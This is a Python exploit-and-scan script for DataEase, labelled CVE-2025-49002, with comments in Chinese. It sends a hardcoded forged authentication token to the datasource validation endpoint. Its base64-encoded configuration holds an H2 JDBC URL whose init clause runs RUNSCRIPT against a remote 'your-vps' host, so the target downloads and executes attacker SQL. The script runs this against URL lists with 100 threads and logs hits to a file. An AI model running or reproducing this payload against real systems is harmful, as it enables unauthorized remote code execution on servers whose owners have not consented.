import argparse,sys,requests,json
import urllib3
import warnings
from multiprocessing.dummy import Pool

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def main():
    # 单个url和一个文件
    # 初始化
    parse = argparse.ArgumentParser(description="飞致云 DataEase Postgresql JDBC Bypass 远程代码执行漏洞 CVE-2025-49002")

    # 添加命令行参数
    parse.add_argument('-u','--url',dest='url',type=str,help='please input your link')
    parse.add_argument('-f','--file',dest='file',type=str,help='please input your file')

    # 实例化
    args = parse.parse_args()

    # 对用户输入的参数做判断 输入正确 url file 输入错误弹出提示
    if args.url and not args.file:
        poc(args.url)
    elif args.file and not args.url:
        # 多线程处理
        url_list = [] # 用于接收读取文件之后的url
        with open(args.file,'r',encoding='utf-8') as fp:
            for url in fp.readlines():
                url_list.append(url.strip())
        mp = Pool(100)
        mp.map(poc,url_list)
        mp.close
        mp.join
        
    else:
        print(f"Usage python {sys.argv[0]} -h")

def poc(target):
    link = "/de2api/datasource/validate"
    headers = {
        "Accept-Encoding": "gzip, deflate, br, zstd",
        "sec-ch-ua": '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
        "Accept": "application/json, text/plain, */*",
        "X-DE-TOKEN": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8",
        "Accept-Language": "zh-CN",
        "Sec-Fetch-Dest": "empty",
        "sec-ch-ua-mobile": "?0",
        "Sec-Fetch-Site": "same-origin",
        "sec-ch-ua-platform": '"Windows"',
        "Content-Type": "application/json",
        "Sec-Fetch-Mode": "cors",
        "Content-Length": "821"
    }
    data = {
    "id": "",
    "name": "11",
    "description": "",
    "type": "h2",
    "apiConfiguration": [],
    "paramsConfiguration": [],
    "enableDataFill": "false",
    "configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO2luaXQ9UlVuU0NSSVBUIEZST00gJ2h0dHA6Ly95b3VyLXZwczoyMzMzL3BvYy5zcWwnIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwicGFzc3dvcmQiOiIxMjMiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="
    }
    try:
        res1 = requests.get(url=target,headers=headers,verify=False)
        if res1.status_code == 200:
            res2 = requests.post(url=target+link,headers=headers,json=data,verify=False)
            res2_content = json.loads(res2.text)
            if str(res2_content["code"]) == "40001":
                print(f"[+]该{target}存在RCE注入")
                # 写入到一个文件中
                with open('result.txt','a',encoding='utf-8') as f:
                    f.write(f"[+]该{target}存在RCE注入"+"\n")
            else:
                print(f"[-]该{target}不存在RCE注入")
    except:
        print(f"该{target}存在问题，请手工测试")
# 函数入口

if __name__ == "__main__":
    main()